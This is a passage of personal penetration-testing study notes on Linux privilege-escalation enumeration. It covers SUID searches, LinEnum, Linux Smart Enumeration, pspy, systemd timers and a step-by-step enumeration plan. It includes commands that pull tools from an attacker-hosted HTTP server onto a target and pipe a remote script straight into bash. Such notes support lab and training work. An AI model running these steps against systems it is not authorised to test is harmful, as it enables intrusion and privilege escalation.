crontab -l
ps auxww
uname -a
find / -type f -a (-perm -u+s -o -perm -g+s ) -exec ls -l {} ; 2> /dev/null

pspy   ..snoop processes
find / -type f -user www-data 2>/dev/null    ..files
find / -type d -user www-data 2>/dev/null    ..dirs
```

## LinEnum

* <https://github.com/rebootuser/LinEnum>
* Extracts large amount of target bits
* Could find ports listening on localhost, that might have port-knocking or pivots
* Used by IPPSec

```
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
cp /opt/LinEnum/LinEnum.sh .
python -m SimpleHTTPServer 80

cd /dev/shm/   ..ramdisk (data wont actually save to disk)
cd /tmp        ..optional (way i've been doing it)

curl $MyIP:8000/LinEnum.sh -t | bash       ..Easy execute and Thorough
curl $MyIP:8000/LinEnum.sh -o LinEnum.sh   ..Download

LinEnum.sh -h                         ..help
LinEnum.sh -k password -e export -t   ..keyword, export, thorough
```

## [Linux Smart Enumeration](https://github.com/diego-treitos/linux-smart-enumeration)

```
wget "https://github.com/diego-treitos/linux-smart-enumeration/raw/master/lse.sh" -O lse.sh;chmod 700 lse.sh
lse.sh -h         ..help
lse.sh -l 1 -i    ..level 1.. i to not prompt-pass
lse.sh -l 2 -i    ..level 2.. print everything
```

## PsPy32

* Snoop on processes/crons without needing root permissions.
* Even finds root-crontabs
* <https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy32>
* <https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64>

```
Copy it to the system with:
chmod +x pspy32
python -m SimpleHTTPServer 80
wget http://10.10.14.34/pspy32
> ./pspy32
> ./pspy --help
```

## Timers

* Kinda like crons
* REF: [procmon](/06-linux-privesc/02-monitor-files.md#watch-proc-procmon)

```
systemctl list-timers
watch -n 1 'systemctl list-timers'
```

## Tools

* Get the tools.zip from [UdemyClass](/06-linux-privesc/lx-privesc.md#privesc-class), and save them as a toolset

## REFS

* [FingerEnums](/02-scanning/02-enum-finger-and-ssh.md#enumerate-finger-users)
* [LookAround](/06-linux-privesc/04-look-around.md)

## Bonus Enums:

* [AutoRecon-Tib3rius](https://github.com/Tib3rius/AutoRecon)
* [linted/linuxprivchecker](https://github.com/linted/linuxprivchecker.git)
* [AlessandroZ/BeRoot](https://github.com/AlessandroZ/BeRoot)
* [pentestmonkey/unix-privesc-check](https://github.com/pentestmonkey/unix-privesc-check)

## SUID/SGID

```
find / -type f -a (-perm -u+s -o -perm -g+s ) -exec ls -l {} ; 2> /dev/null
```

## Writeable

```
cd /var/www/html/webservices/monstra/
find . -writable -ls
```

## Enumeration Plan

1. Check your id, whoami
2. Linux Smart Enumeration (lse) with increasing levels
   1. lse
   2. lse -l 1
   3. lse -l 2
3. LinEnum and other scripts
4. If they are failing, run them manually
   1. Or Check other cheatsheets
   2. <https://blog.g0tmi1k.com/..linux-privilege-escalation>
5. Check common file
   1. /var/backup
   2. /var/logs
   3. /tmp
   4. /home/user/.\*history

Try easy ones first:

1. sudo, cron, suid
2. root processes, enumerate version, check exploits
3. internal ports you can forward to your-remote-machine

Harder:

1. Re-read your enums, look for oddities
2. Unusual file-systems (not ext,swap,tmpfs)
3. Strange usernames
4. Kernel exploits
